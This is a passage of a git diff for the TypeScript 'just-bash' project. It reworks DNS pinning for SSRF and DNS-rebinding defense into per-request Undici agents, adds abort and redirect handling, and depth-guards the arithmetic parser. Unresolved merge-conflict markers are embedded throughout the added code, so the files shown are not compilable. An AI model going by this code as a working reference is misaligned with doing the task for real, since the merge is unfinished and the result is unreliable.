+<<<<<<< HEAD
 describe("dns-pin", () => {
   it("returns the pinned address inside the pinning context (all=true)", async () => {
     const result = await pinDns(
@@ -118,10 +121,46 @@ describe("dns-pin", () => {
               },
             );
           }),
+=======
+describe("request-owned DNS connector lookup", () => {
+  it("returns only the reviewed address", async () => {
+    await expect(
+      lookup(
+        { hostname: "API.Example", address: "93.184.216.34", family: 4 },
+        "api.example",
+>>>>>>> @just-bash/executor@3.0.0
+      ),
+    ).resolves.toEqual({ address: "93.184.216.34", family: 4 });
+  });
+
+  it("supports all=true without adding alternate addresses", async () => {
+    await expect(
+      lookup(
+        { hostname: "api.example", address: "2001:4860:4860::8888", family: 6 },
+        "api.example",
+        { all: true },
       ),
+    ).resolves.toEqual({
+      address: [{ address: "2001:4860:4860::8888", family: 6 }],
+      family: undefined,
+    });
+  });
+
+  it("fails closed for another hostname or address family", async () => {
+    const pin = {
+      hostname: "api.example",
+      address: "1.1.1.1",
+      family: 4,
+    } as const;
+    await expect(lookup(pin, "other.example")).rejects.toMatchObject({
+      code: "ENOTFOUND",
+    });
+    await expect(
+      lookup(pin, "api.example", { family: 6 }),
     ).rejects.toMatchObject({ code: "ENOTFOUND" });
   });
 
+<<<<<<< HEAD
   it("dual-stack pin: caller asking for IPv4 gets the IPv4 address", async () => {
     // Both families pinned at preflight. Caller asks specifically for IPv4
     // (undici under fetch may do this when one family is unreachable on the
@@ -202,9 +241,41 @@ describe("dns-pin", () => {
           addresses: [{ address: "2.2.2.2", family: 4 }],
         },
         () => lookupCb("x.example"),
+=======
+  it("keeps concurrent decisions independent", async () => {
+    const [first, second] = await Promise.all([
+      lookup(
+        { hostname: "same.example", address: "1.1.1.1", family: 4 },
+        "same.example",
+      ),
+      lookup(
+        { hostname: "same.example", address: "8.8.8.8", family: 4 },
+        "same.example",
+>>>>>>> @just-bash/executor@3.0.0
       ),
     ]);
-    expect(a).toEqual([{ address: "1.1.1.1", family: 4 }]);
-    expect(b).toEqual([{ address: "2.2.2.2", family: 4 }]);
+    expect([first, second]).toEqual([
+      { address: "1.1.1.1", family: 4 },
+      { address: "8.8.8.8", family: 4 },
+    ]);
+  });
+
+  it("creates independent pools without patching process-global DNS", async () => {
+    const originalLookup = dns.lookup;
+    const pin = {
+      hostname: "pool.example",
+      address: "93.184.216.34",
+      family: 4 as const,
+    };
+    const [first, second] = await Promise.all([
+      createPinnedConnectionOwner(pin),
+      createPinnedConnectionOwner(pin),
+    ]);
+    try {
+      expect(first).not.toBe(second);
+      expect(dns.lookup).toBe(originalLookup);
+    } finally {
+      await Promise.all([first.close(), second.close()]);
+    }
   });
 });
diff --git a/packages/just-bash/src/network/dns-pin.ts b/packages/just-bash/src/network/dns-pin.ts
index f83a1706..72d63d3b 100644
--- a/packages/just-bash/src/network/dns-pin.ts
+++ b/packages/just-bash/src/network/dns-pin.ts
@@ -1,29 +1,14 @@
 /**
- * Pin DNS resolution for the actual fetch to the IPs that were validated
- * by the preflight private-range check, defeating DNS rebinding.
+ * Request-owned connection binding for DNS-reviewed HTTP requests.
  *
- * How it works:
- * - `dns.lookup` is monkey-patched once globally to consult an
- *   AsyncLocalStorage store. When called inside a `pinDns(...)` async
- *   context for the same hostname, it returns the pre-validated address
- *   without performing any network DNS query.
- * - Calls outside any pinning context (or for a different hostname)
- *   are delegated to the original `dns.lookup`.
+ * Each owner has a private Undici Agent whose connector resolves exactly one
+ * hostname to exactly one preflight-reviewed address. The Agent is never
+ * shared between requests or redirect hops, so an existing origin pool cannot
+ * substitute a socket opened under a different DNS decision.
  *
- * Why `dns.lookup` and not `dns.promises.lookup`:
- * - Node's `net.connect`/`tls.connect` (used by undici under `globalThis.fetch`)
- *   reads `dns.lookup` at call time and uses the callback form.
- * - We do not patch the promises form because it's not on the connect path.
- *
- * Browser builds: this module is imported transitively from `fetch.ts`
- * (re-exported via `just-bash/browser`). `node:dns` is aliased to a
- * stub by the browser build, but `node:async_hooks` cannot be aliased
- * via a static import. We therefore lazy-load both via `require()`
- * inside an `IS_BROWSER === false` guard so esbuild can dead-code
- * eliminate the Node-only path. In the browser the exported `pinDns`
- * is a passthrough that just runs the callback (the preflight that
- * would have produced a `PinnedAddress` always throws first because
- * `node:dns` is unavailable, so the passthrough is unreachable).
+ * The browser build removes the Node-only `undici` branch and edge runtimes
+ * that cannot construct this owner fail closed when private-range denial is
+ * enabled.
  */
 
 declare const __BROWSER__: boolean | undefined;
@@ -43,60 +28,51 @@ export interface PinnedAddress {
   addresses: { address: string; family: 4 | 6 }[];
 }
 
-type AsyncLocalStorageType<T> = {
-  run<R>(store: T, callback: () => R): R;
-  getStore(): T | undefined;
-};
-
-type LookupCallback = (
-  err: NodeJS.ErrnoException | null,
-  address?: string | { address: string; family: number }[],
-  family?: number,
-) => void;
+export interface PinnedConnectionOwner {
+  fetch(url: string, init: RequestInit): Promise<Response>;
+  close(): Promise<void>;
+}
 
-let pinningStore: AsyncLocalStorageType<PinnedAddress> | null = null;
-// biome-ignore lint/suspicious/noExplicitAny: dns module shape varies by runtime
-let dnsModule: any = null;
-let dnsHookInstalled = false;
+export type PinnedConnectionOwnerFactory = (
+  pinned: PinnedAddress,
+) => Promise<PinnedConnectionOwner>;
 
-function loadNodeDeps(): void {
-  if (pinningStore !== null) return;
-  if (IS_BROWSER) return;
-  try {
-    // require() so esbuild dead-code-eliminates this in the browser build.
-    // eslint-disable-next-line @typescript-eslint/no-require-imports
-    const asyncHooks = require("node:async_hooks");
-    // eslint-disable-next-line @typescript-eslint/no-require-imports
-    dnsModule = require("node:dns");
-    pinningStore = new asyncHooks.AsyncLocalStorage();
-  } catch {
-    // Edge runtimes without async_hooks: leave pinningStore null.
-    // pinDns becomes a passthrough; callers that expected pinning
-    // (denyPrivateRanges + DNS resolution) will not get it on those
-    // runtimes. The preflight DNS resolution itself would have failed
-    // first if dns was unavailable, so this branch is mostly belt-and-
-    // suspenders.
+export class DnsPinningUnavailableError extends Error {
+  constructor() {
+    super("DNS pinning is unavailable in this runtime");
+    this.name = "DnsPinningUnavailableError";
   }
 }
 
-function installDnsHook(): void {
-  if (dnsHookInstalled) return;
-  loadNodeDeps();
-  if (!pinningStore || !dnsModule) return;
-  dnsHookInstalled = true;
-
-  const store = pinningStore;
-  const originalLookup = dnsModule.lookup;
-
-  function patchedLookup(this: unknown, ...args: unknown[]): unknown {
-    const hostname = args[0];
-    const pinned = store.getStore();
+type PinnedLookup = import("node:net").LookupFunction;
+
+function lookupDenied(hostname: string): NodeJS.ErrnoException {
+  const error = new Error(`ENOTFOUND ${hostname}`) as NodeJS.ErrnoException & {
+    hostname?: string;
+  };
+  error.code = "ENOTFOUND";
+  error.errno = -3008;
+  error.syscall = "getaddrinfo";
+  error.hostname = hostname;
+  return error;
+}
 
+/** @internal Pure connector lookup used by focused binding tests. */
+export function _createPinnedLookup(pinned: PinnedAddress): PinnedLookup {
+  return (hostname, options, callback) => {
+    const requestedFamily =
+      options.family === "IPv4"
+        ? 4
+        : options.family === "IPv6"
+          ? 6
+          : options.family;
     if (
-      typeof hostname !== "string" ||
-      !pinned ||
-      pinned.hostname.toLowerCase() !== hostname.toLowerCase()
+      hostname.toLowerCase() !== pinned.hostname.toLowerCase() ||
+      (requestedFamily !== undefined &&
+        requestedFamily !== 0 &&
+        requestedFamily !== pinned.family)
     ) {
+<<<<<<< HEAD
       return (originalLookup as (...a: unknown[]) => unknown).apply(this, args);
     }
 
@@ -155,34 +131,63 @@ function installDnsHook(): void {
       } else {
         cb(null, matching[0].address, matching[0].family);
       }
-    });
-  }
+=======
+      callback(lookupDenied(hostname), "");
+      return;
+    }
 
-  Object.defineProperty(dnsModule, "lookup", {
-    value: patchedLookup,
-    writable: true,
-    configurable: true,
-  });
+    if (options.all) {
+      callback(null, [{ address: pinned.address, family: pinned.family }]);
+    } else {
+      callback(null, pinned.address, pinned.family);
+    }
+  };
 }
 
 /**
- * Run `fn` with `dns.lookup` for `pinned.hostname` resolving to
- * `pinned.address`/`pinned.family`. Resolutions for other hostnames
- * pass through to the original `dns.lookup`.
+ * Create a disposable transport whose pool identity is the reviewed address.
+ * The returned owner must be closed after the response body is consumed.
  */
-export function pinDns<T>(
-  pinned: PinnedAddress,
-  fn: () => Promise<T>,
-): Promise<T> {
-  installDnsHook();
-  if (!pinningStore) return fn();
-  return pinningStore.run(pinned, fn);
-}
+export const createPinnedConnectionOwner: PinnedConnectionOwnerFactory = async (
+  pinned,
+) => {
+  if (IS_BROWSER) throw new DnsPinningUnavailableError();
 
-/**
- * @internal Exposed for tests to verify the patched dns.lookup behaves
- * correctly inside and outside a pinning context.
- */
-export function _ensureDnsHookInstalled(): void {
-  installDnsHook();
-}
+  try {
+    // This branch is removed from the browser build by __BROWSER__ folding.
+    const undici = await import("undici");
+    const agent = new undici.Agent({
+      connections: 1,
+      pipelining: 0,
+      connect: {
+        lookup: _createPinnedLookup(pinned),
+      },
+>>>>>>> @just-bash/executor@3.0.0
+    });
+
+    let closed = false;
+    return {
+      async fetch(url, init) {
+        if (closed) throw new DnsPinningUnavailableError();
+        const boundFetch = undici.fetch as unknown as (
+          input: string,
+          options: unknown,
+        ) => Promise<unknown>;
+        return (await boundFetch(url, {
+          ...init,
+          dispatcher: agent,
+        })) as Response;
+      },
+      async close() {
+        if (closed) return;
+        closed = true;
+        // destroy(), rather than close(), also tears down a request whose body
+        // or peer did not finish cleanly. It is safe after a consumed response.
+        await agent.destroy();
+      },
+    };
+  } catch (error) {
+    if (error instanceof DnsPinningUnavailableError) throw error;
+    throw new DnsPinningUnavailableError();
+  }
+};
diff --git a/packages/just-bash/src/network/fetch.ts b/packages/just-bash/src/network/fetch.ts
index dff887d9..5784a3de 100644
--- a/packages/just-bash/src/network/fetch.ts
+++ b/packages/just-bash/src/network/fetch.ts
@@ -8,6 +8,7 @@
  */
 
 import { lookup as dnsLookup } from "node:dns";
+import { combineAbortSignals } from "../abort-signals.js";
 import { DefenseInDepthBox } from "../security/defense-in-depth-box.js";
 import { _clearTimeout, _setTimeout } from "../timers.js";
 import {
@@ -16,7 +17,12 @@ import {
   matchesAllowListEntry,
   validateAllowList,
 } from "./allow-list.js";
-import { type PinnedAddress, pinDns } from "./dns-pin.js";
+import {
+  createPinnedConnectionOwner,
+  DnsPinningUnavailableError,
+  type PinnedAddress,
+  type PinnedConnectionOwner,
+} from "./dns-pin.js";
 import type { AllowedUrl, AllowedUrlEntry, DnsLookupResult } from "./types.js";
 import {
   type FetchResult,
@@ -54,6 +60,69 @@ const BODYLESS_METHODS = new Set(["GET", "HEAD", "OPTIONS"]);
  */
 const REDIRECT_CODES = new Set([301, 302, 303, 307, 308]);
 
+function abortReason(signal: AbortSignal): Error {
+  return signal.reason instanceof Error
+    ? signal.reason
+    : new DOMException("The operation was aborted", "AbortError");
+}
+
+function throwIfAborted(signal: AbortSignal | undefined): void {
+  if (signal?.aborted) throw abortReason(signal);
+}
+
+async function awaitWithSignal<T>(
+  promise: Promise<T>,
+  signal: AbortSignal | undefined,
+): Promise<T> {
+  if (!signal) return promise;
+  if (signal.aborted) {
+    // The operation may already have started before its promise reached this
+    // helper (DNS and dispatcher disposal are examples). Observe a later
+    // rejection while returning the cancellation immediately.
+    void promise.catch(() => undefined);
+    throw abortReason(signal);
+  }
+
+  let onAbort: (() => void) | undefined;
+  const aborted = new Promise<never>((_resolve, reject) => {
+    onAbort = () => reject(abortReason(signal));
+    signal.addEventListener("abort", onAbort, { once: true });
+  });
+  try {
+    return await Promise.race([promise, aborted]);
+  } finally {
+    if (onAbort) signal.removeEventListener("abort", onAbort);
+  }
+}
+
+/**
+ * Await a request-owned transport without leaking an owner that is created
+ * after cancellation wins the race. A factory cannot always be cancelled
+ * while it imports/initializes its connector, so late fulfillment must carry
+ * its own disposal continuation.
+ */
+async function awaitConnectionOwner(
+  promise: Promise<PinnedConnectionOwner>,
+  signal: AbortSignal | undefined,
+): Promise<PinnedConnectionOwner> {
+  try {
+    return await awaitWithSignal(promise, signal);
+  } catch (error) {
+    if (signal?.aborted) {
+      void promise
+        .then((owner) => DefenseInDepthBox.runTrustedAsync(() => owner.close()))
+        .catch(() => undefined);
+    }
+    throw error;
+  }
+}
+
+async function cancelResponseBody(response: Response): Promise<void> {
+  if (response.body && !response.body.locked) {
+    await response.body.cancel();
+  }
+}
+
 export interface SecureFetchOptions {
   method?: string;
   headers?: Headers | Record<string, string>;
@@ -61,6 +130,10 @@ export interface SecureFetchOptions {
   followRedirects?: boolean;
   /** Override timeout for this request (capped at global timeout) */
   timeoutMs?: number;
+  /** Override redirects for this request (capped at the host policy). */
+  maxRedirects?: number;
+  /** Abort DNS review, redirects, transport, and response-body consumption. */
+  signal?: AbortSignal;
 }
 
 /**
@@ -121,6 +194,12 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
     return merged;
   }
 
+  if (
+    config.maxRedirects !== undefined &&
+    (!Number.isSafeInteger(config.maxRedirects) || config.maxRedirects < 0)
+  ) {
+    throw new RangeError("maxRedirects must be a non-negative safe integer");
+  }
   const maxRedirects = config.maxRedirects ?? DEFAULT_MAX_REDIRECTS;
   const timeoutMs = config.timeoutMs ?? DEFAULT_TIMEOUT_MS;
   const maxResponseSize = config.maxResponseSize ?? DEFAULT_MAX_RESPONSE_SIZE;
@@ -132,6 +211,44 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
     config.denyPrivateRanges ??
     (typeof process !== "undefined" && process.env?.NODE_ENV === "production");
   const resolveDns = config._dnsResolve ?? dnsLookupAll;
+  const createConnectionOwner =
+    config._createConnectionOwner ?? createPinnedConnectionOwner;
+
+  function addressFamily(address: string): 4 | 6 | null {
+    const normalized =
+      address.startsWith("[") && address.endsWith("]")
+        ? address.slice(1, -1)
+        : address;
+    const validIpv4 =
+      /^(?:0|[1-9]\d{0,2})(?:\.(?:0|[1-9]\d{0,2})){3}$/.test(normalized) &&
+      normalized.split(".").every((part) => Number(part) <= 255);
+    if (validIpv4) return 4;
+
+    if (normalized.includes(":") && !normalized.includes("%")) {
+      try {
+        if (new URL(`http://[${normalized}]/`).hostname.length > 2) return 6;
+      } catch {
+        // Invalid IPv6 address.
+      }
+    }
+    return null;
+  }
+
+  function validatedPinnedAddress(
+    url: string,
+    hostname: string,
+    result: DnsLookupResult,
+  ): PinnedAddress {
+    const { address, family } = result;
+    if (addressFamily(address) !== family) {
+      throw new NetworkAccessDeniedError(
+        url,
+        "DNS returned an invalid address for private IP check",
+      );
+    }
+
+    return { hostname, address, family };
+  }
 
   /**
    * Checks if a URL is allowed by the configuration and, when
@@ -141,7 +258,11 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
    *
    * @throws NetworkAccessDeniedError if the URL is not allowed
    */
-  async function checkAllowed(url: string): Promise<PinnedAddress | null> {
+  async function checkAllowed(
+    url: string,
+    signal: AbortSignal | undefined,
+  ): Promise<PinnedAddress | null> {
+    throwIfAborted(signal);
     if (
       !config.dangerouslyAllowFullInternetAccess &&
       !isUrlAllowed(url, entries)
@@ -149,6 +270,7 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
       throw new NetworkAccessDeniedError(url);
     }
 
+<<<<<<< HEAD
     // Private IP check still runs even when full internet access is enabled
     // so internal/loopback addresses remain unreachable.
     if (denyPrivateRanges) {
@@ -214,9 +336,62 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
       } catch (e) {
         if (e instanceof NetworkAccessDeniedError) throw e;
         // Invalid URL will be caught by isUrlAllowed below
+=======
+    if (!denyPrivateRanges) return null;
+
+    let parsed: URL;
+    try {
+      parsed = new URL(url);
+    } catch {
+      throw new NetworkAccessDeniedError(url, "invalid URL");
+    }
+
+    // Private IP check still runs when full internet access is enabled.
+    if (isPrivateIp(parsed.hostname)) {
+      throw new NetworkAccessDeniedError(
+        url,
+        "private/loopback IP address blocked",
+      );
+    }
+
+    // Public IP literals already name the exact connection address and cannot
+    // be rebound. Every domain name must resolve successfully and be pinned.
+    const hostname = parsed.hostname;
+    if (addressFamily(hostname) !== null) return null;
+
+    let addresses: DnsLookupResult[];
+    try {
+      addresses = await awaitWithSignal(resolveDns(hostname), signal);
+    } catch {
+      if (signal?.aborted) throw abortReason(signal);
+      // Negative answers are not safe: proceeding would cause a second,
+      // unrestricted lookup during connection establishment.
+      throw new NetworkAccessDeniedError(
+        url,
+        "DNS resolution failed for private IP check",
+      );
+    }
+
+    if (!Array.isArray(addresses) || addresses.length === 0) {
+      throw new NetworkAccessDeniedError(
+        url,
+        "DNS resolution returned no addresses for private IP check",
+      );
+    }
+
+    const validated = addresses.map((result) =>
+      validatedPinnedAddress(url, hostname, result),
+    );
+    for (const { address } of validated) {
+      if (isPrivateIp(address)) {
+        throw new NetworkAccessDeniedError(
+          url,
+          "hostname resolves to private/loopback IP address",
+        );
+>>>>>>> @just-bash/executor@3.0.0
       }
     }
-    return null;
+    return validated[0];
   }
 
   /**
@@ -242,97 +417,150 @@ export function createSecureFetch(config: NetworkConfig): SecureFetch {
     options: SecureFetchOptions = {},
   ): Promise<FetchResult> {
     const method = options.method?.toUpperCase() ?? "GET";
-
-    // Check if URL and method are allowed
-    let pinned = await checkAllowed(url);
-    checkMethodAllowed(method);
-
-    let currentUrl = url;
-    let redirectCount = 0;
     const followRedirects = options.followRedirects ?? true;
+    if (
+      options.maxRedirects !== undefined &&
+      (!Number.isSafeInteger(options.maxRedirects) || options.maxRedirects < 0)
+    ) {
+      throw new RangeError("maxRedirects must be a non-negative safe integer");
+    }
+    const requestMaxRedirects = options.maxRedirects ?? maxRedirects;
+    const effectiveMaxRedirects = Math.min(maxRedirects, requestMaxRedirects);
 
     // Use per-request timeout if specified, but cap at global timeout
     const effectiveTimeout =
       options.timeoutMs !== undefined
         ? Math.min(options.timeoutMs, timeoutMs)
         : timeoutMs;
+    const timeoutController = new AbortController();
+    const timeoutId = _setTimeout(
+      () =>
+        timeoutController.abort(
+          new DOMException("The operation was aborted", "AbortError"),
+        ),
+      effectiveTimeout,
+    );
+    const combinedAbort = combineAbortSignals(
+      options.signal,
+      timeoutController.signal,
+    );
+
+    try {
+      // One deadline covers DNS review, all redirect hops, body consumption,
+      // and transport disposal. Redirects never receive a fresh allowance.
+      let pinned = await checkAllowed(url, combinedAbort.signal);
+      checkMethodAllowed(method);
+
+      let currentUrl = url;
+      let redirectCount = 0;
+
+      while (true) {
+        throwIfAborted(combinedAbort.signal);
+        let connectionOwner: PinnedConnectionOwner | undefined;
+
+        try {
+          // Header construction and the Node-only connector import may touch
+          // protected host intrinsics, so keep them in the trusted boundary.
+          const response = await DefenseInDepthBox.runTrustedAsync(async () => {
+            const firewallHeaders = getFirewallHeaders(currentUrl);
+            const mergedHeaders = buildMergedHeaders(
+              options.headers,
+              firewallHeaders,
+            );
+            const fetchOptions: RequestInit = {
+              method,
+              headers: mergedHeaders,
+              signal: combinedAbort.signal,
+              redirect: "manual",
+            };
+
+            if (options.body && !BODYLESS_METHODS.has(method)) {
+              fetchOptions.body = options.body;
+            }
 
-    while (true) {
-      const controller = new AbortController();
-      const timeoutId = _setTimeout(() => controller.abort(), effectiveTimeout);
-
-      try {
-        // Merge user headers with firewall headers (firewall overrides user).
-        // getFirewallHeaders returns a Headers object (which may trigger
-        // undici WASM init), so both header construction and fetch run
-        // inside runTrustedAsync.
-        const response = await DefenseInDepthBox.runTrustedAsync(() => {
-          const firewallHeaders = getFirewallHeaders(currentUrl);
-          const mergedHeaders = buildMergedHeaders(
-            options.headers,
-            firewallHeaders,
-          );
-
-          const fetchOptions: RequestInit = {
-            method,
-            headers: mergedHeaders,
-            signal: controller.signal,
-            redirect: "manual", // Handle redirects manually to check allow-list
-          };
+            if (!pinned) {
+              // @banned-pattern-ignore: audited no-pin branch is reachable only when private-range denial is disabled
+              return await awaitWithSignal(
+                fetch(currentUrl, fetchOptions),
+                combinedAbort.signal,
+              );
+            }
 
-          // Only include body for methods that support it
-          if (options.body && !BODYLESS_METHODS.has(method)) {
-            fetchOptions.body = options.body;
-          }
+            try {
+              connectionOwner = await awaitConnectionOwner(
+                createConnectionOwner(pinned),
+                combinedAbort.signal,
+              );
+              return await awaitWithSignal(
+                connectionOwner.fetch(currentUrl, fetchOptions),
+                combinedAbort.signal,
+              );
+            } catch (error) {
+              if (error instanceof DnsPinningUnavailableError) {
+                throw new NetworkAccessDeniedError(
+                  currentUrl,
+                  "DNS pinning unavailable for private IP enforcement",
+                );
+              }
+              throw error;
+            }
+          });
+
+          if (REDIRECT_CODES.has(response.status) && followRedirects) {
+            const location = response.headers.get("location");
+            if (!location) {
+              return await responseToResult(
+                response,
+                currentUrl,
+                maxResponseSize,
+                combinedAbort.signal,
+              );
+            }
 
-          // Pin DNS resolution to the address we already validated so
-          // an attacker controlling DNS for an allow-listed hostname
-          // cannot rebind the second resolution to a private/internal IP.
-          // No-op when `pinned` is null (denyPrivateRanges off, IP literal,
-          // or hostname did not resolve).
-          if (pinned) {
-            return pinDns(pinned, () => fetch(currentUrl, fetchOptions));
-          }
-          return fetch(currentUrl, fetchOptions);
-        });
-
-        // Check for redirects
-        if (REDIRECT_CODES.has(response.status) && followRedirects) {
-          const location = response.headers.get("location");
-          if (!location) {
-            // No location header, return the response as-is
-            return await responseToResult(
-              response,
-              currentUrl,
-              maxResponseSize,
+            const redirectUrl = new URL(location, currentUrl).href;
+            // Do not leave a redirect body or connection live while reviewing
+            // the next address.
+            await awaitWithSignal(
+              cancelResponseBody(response),
+              combinedAbort.signal,
             );
-          }
+            try {
+              pinned = await checkAllowed(redirectUrl, combinedAbort.signal);
+            } catch {
+              if (combinedAbort.signal?.aborted) {
+                throw abortReason(combinedAbort.signal);
+              }
+              throw new RedirectNotAllowedError(redirectUrl);
+            }
 
-          // Resolve relative URLs
-          const redirectUrl = new URL(location, currentUrl).href;
+            redirectCount++;
+            if (redirectCount > effectiveMaxRedirects) {
+              throw new TooManyRedirectsError(effectiveMaxRedirects);
+            }
 
-          // Check redirect target against allow-list and private IP ranges.
-          // Re-pin DNS for the redirect target — the validated address
-          // is per-host, so each new hop needs its own resolution.
-          try {
-            pinned = await checkAllowed(redirectUrl);
-          } catch {
-            throw new RedirectNotAllowedError(redirectUrl);
+            currentUrl = redirectUrl;
+            continue;
           }
 
-          redirectCount++;
-          if (redirectCount > maxRedirects) {
-            throw new TooManyRedirectsError(maxRedirects);
+          return await responseToResult(
+            response,
+            currentUrl,
+            maxResponseSize,
+            combinedAbort.signal,
+          );
+        } finally {
+          if (connectionOwner) {
+            const owner = connectionOwner;
+            const closePromise = DefenseInDepthBox.runTrustedAsync(() =>
+              owner.close(),
+            );
+            await awaitWithSignal(closePromise, combinedAbort.signal);
           }
-
-          currentUrl = redirectUrl;
-          continue;
         }
-
-        return await responseToResult(response, currentUrl, maxResponseSize);
-      } finally {
-        _clearTimeout(timeoutId);
       }
+    } finally {
+      _clearTimeout(timeoutId);
+      combinedAbort.cleanup();
     }
   }
 
@@ -375,6 +603,7 @@ async function responseToResult(
   response: Response,
   url: string,
   maxResponseSize: number,
+  signal?: AbortSignal,
 ): Promise<FetchResult> {
   // Use null-prototype to prevent prototype pollution via malicious response headers
   const headers: Record<string, string> = Object.create(null);
@@ -400,16 +629,23 @@ async function responseToResult(
     const chunks: Uint8Array[] = [];
     let totalSize = 0;
 
-    while (true) {
-      const { done, value } = await reader.read();
-      if (done) break;
-      if (!value) continue;
-      totalSize += value.byteLength;
-      if (totalSize > maxResponseSize) {
-        reader.cancel();
-        throw new ResponseTooLargeError(maxResponseSize);
+    try {
+      while (true) {
+        const { done, value } = await awaitWithSignal(reader.read(), signal);
+        if (done) break;
+        if (!value) continue;
+        totalSize += value.byteLength;
+        if (totalSize > maxResponseSize) {
+          await reader.cancel();
+          throw new ResponseTooLargeError(maxResponseSize);
+        }
+        chunks.push(value);
+      }
+    } catch (error) {
+      if (signal?.aborted) {
+        await reader.cancel(abortReason(signal)).catch(() => undefined);
       }
-      chunks.push(value);
+      throw error;
     }
     body = new Uint8Array(totalSize);
     let offset = 0;
@@ -418,7 +654,7 @@ async function responseToResult(
       offset += chunk.byteLength;
     }
   } else {
-    const ab = await response.arrayBuffer();
+    const ab = await awaitWithSignal(response.arrayBuffer(), signal);
     if (maxResponseSize > 0 && ab.byteLength > maxResponseSize) {
       throw new ResponseTooLargeError(maxResponseSize);
     }
diff --git a/packages/just-bash/src/network/types.ts b/packages/just-bash/src/network/types.ts
index 5664fa1e..a738a9e6 100644
--- a/packages/just-bash/src/network/types.ts
+++ b/packages/just-bash/src/network/types.ts
@@ -5,6 +5,8 @@
  * you must explicitly configure allowed URLs.
  */
 
+import type { PinnedConnectionOwnerFactory } from "./dns-pin.js";
+
 /**
  * DNS lookup result used for private IP resolution checks
  */
@@ -79,7 +81,8 @@ export interface NetworkConfig {
    * - https://api.example.com/v1-admin
    * - https://api.example.com/v2/users
    * - https://api.example.org/v1/users (different origin)
-   * - URLs that rely on ambiguous encoded separators like %2f or %5c
+   * - URLs that rely on ambiguous separators or path parameters like %2f,
+   *   %5c, semicolons, or nested encodings
    *
    * Invalid entries (missing scheme, missing host, relative paths) will throw an error.
    */
@@ -117,6 +120,9 @@ export interface NetworkConfig {
    * Reject URLs with private/loopback IP addresses as hostnames.
    * Performs both lexical hostname checks and DNS resolution to catch
    * domains that resolve to private IPs (e.g., DNS rebinding attacks).
+   * Domain requests fail closed on resolution errors, empty or malformed
+   * answers, and runtimes that cannot pin the reviewed address to the actual
+   * connection. Each redirect hop is resolved and pinned independently.
    * Useful for mitigating SSRF attacks. Default: false (opt-in).
    *
    * When enabled, the private IP check is enforced even when
@@ -131,6 +137,11 @@ export interface NetworkConfig {
    * denyPrivateRanges DNS rebinding check.
    */
   _dnsResolve?: (hostname: string) => Promise<DnsLookupResult[]>;
+
+  /**
+   * @internal Override request-owned connection binding for testing.
+   */
+  _createConnectionOwner?: PinnedConnectionOwnerFactory;
 }
 
 /**
diff --git a/packages/just-bash/src/parser/arithmetic-parser.ts b/packages/just-bash/src/parser/arithmetic-parser.ts
index 6ecc105a..dfbedbec 100644
--- a/packages/just-bash/src/parser/arithmetic-parser.ts
+++ b/packages/just-bash/src/parser/arithmetic-parser.ts
@@ -131,6 +131,14 @@ export function parseArithExpr(
   return parseArithComma(p, input, pos);
 }
 
+function parseNestedArithExpr(
+  p: Parser,
+  input: string,
+  pos: number,
+): { expr: ArithExpr; pos: number } {
+  return p.withDepth(() => parseArithExpr(p, input, pos));
+}
+
 function parseArithComma(
   p: Parser,
   input: string,
@@ -163,11 +171,19 @@ function parseArithTernary(
   currentPos = skipArithWhitespace(input, currentPos);
   if (input[currentPos] === "?") {
     currentPos++;
-    const { expr: consequent, pos: p2 } = parseArithExpr(p, input, currentPos);
+    const { expr: consequent, pos: p2 } = parseNestedArithExpr(
+      p,
+      input,
+      currentPos,
+    );
     currentPos = skipArithWhitespace(input, p2);
     if (input[currentPos] === ":") {
       currentPos++;
-      const { expr: alternate, pos: p3 } = parseArithExpr(p, input, currentPos);
+      const { expr: alternate, pos: p3 } = parseNestedArithExpr(
+        p,
+        input,
+        currentPos,
+      );
       return {
         expr: { type: "ArithTernary", condition, consequent, alternate },
         pos: p3,
@@ -506,7 +522,9 @@ function parseArithPower(
     if (isMissingOperand(input, p2)) {
       return makeMissingOperandError(op, p2);
     }
-    const { expr: exponent, pos: p3 } = parseArithPower(p, input, p2); // Right associative
+    const { expr: exponent, pos: p3 } = p.withDepth(() =>
+      parseArithPower(p, input, p2),
+    ); // Right associative
     return {
       expr: {
         type: "ArithBinary",
@@ -535,7 +553,9 @@ function parseArithUnary(
   ) {
     const op = input.slice(currentPos, currentPos + 2) as "++" | "--";
     currentPos += 2;
-    const { expr: operand, pos: p2 } = parseArithUnary(p, input, currentPos);
+    const { expr: operand, pos: p2 } = p.withDepth(() =>
+      parseArithUnary(p, input, currentPos),
+    );
     return {
       expr: { type: "ArithUnary", operator: op, operand, prefix: true },
       pos: p2,
@@ -550,7 +570,9 @@ function parseArithUnary(
   ) {
     const op = input[currentPos] as "+" | "-" | "!" | "~";
     currentPos++;
-    const { expr: operand, pos: p2 } = parseArithUnary(p, input, currentPos);
+    const { expr: operand, pos: p2 } = p.withDepth(() =>
+      parseArithUnary(p, input, currentPos),
+    );
     return {
       expr: { type: "ArithUnary", operator: op, operand, prefix: true },
       pos: p2,
@@ -605,7 +627,11 @@ function parseArithPostfix(
   let subscript: ArithExpr | undefined;
   if (input[currentPos] === "[" && expr.type === "ArithConcat") {
     currentPos++; // Skip [
-    const { expr: indexExpr, pos: p2 } = parseArithExpr(p, input, currentPos);
+    const { expr: indexExpr, pos: p2 } = parseNestedArithExpr(
+      p,
+      input,
+      currentPos,
+    );
     subscript = indexExpr;
     currentPos = p2;
     if (input[currentPos] === "]") currentPos++; // Skip ]
@@ -633,10 +659,8 @@ function parseArithPostfix(
         input.slice(currentPos, currentPos + op.length + 1) !== "=="
       ) {
         currentPos += op.length;
-        const { expr: value, pos: p2 } = parseArithTernary(
-          p,
-          input,
-          currentPos,
+        const { expr: value, pos: p2 } = p.withDepth(() =>
+          parseArithTernary(p, input, currentPos),
         );
         // For dynamic element (x$foo[5]), create dynamic assignment with subscript from the element
         if (expr.type === "ArithDynamicElement") {
@@ -708,7 +732,7 @@ function parseArithPrimary(
 
   // Nested arithmetic: $((expr))
   const nestedResult = parseNestedArithmetic(
-    parseArithExpr,
+    parseNestedArithExpr,
     p,
     input,
     currentPos,
@@ -763,7 +787,7 @@ function parseArithPrimary(
   // Grouped expression
   if (input[currentPos] === "(") {
     currentPos++;
-    const { expr, pos: p2 } = parseArithExpr(p, input, currentPos);
+    const { expr, pos: p2 } = parseNestedArithExpr(p, input, currentPos);
     currentPos = skipArithWhitespace(input, p2);
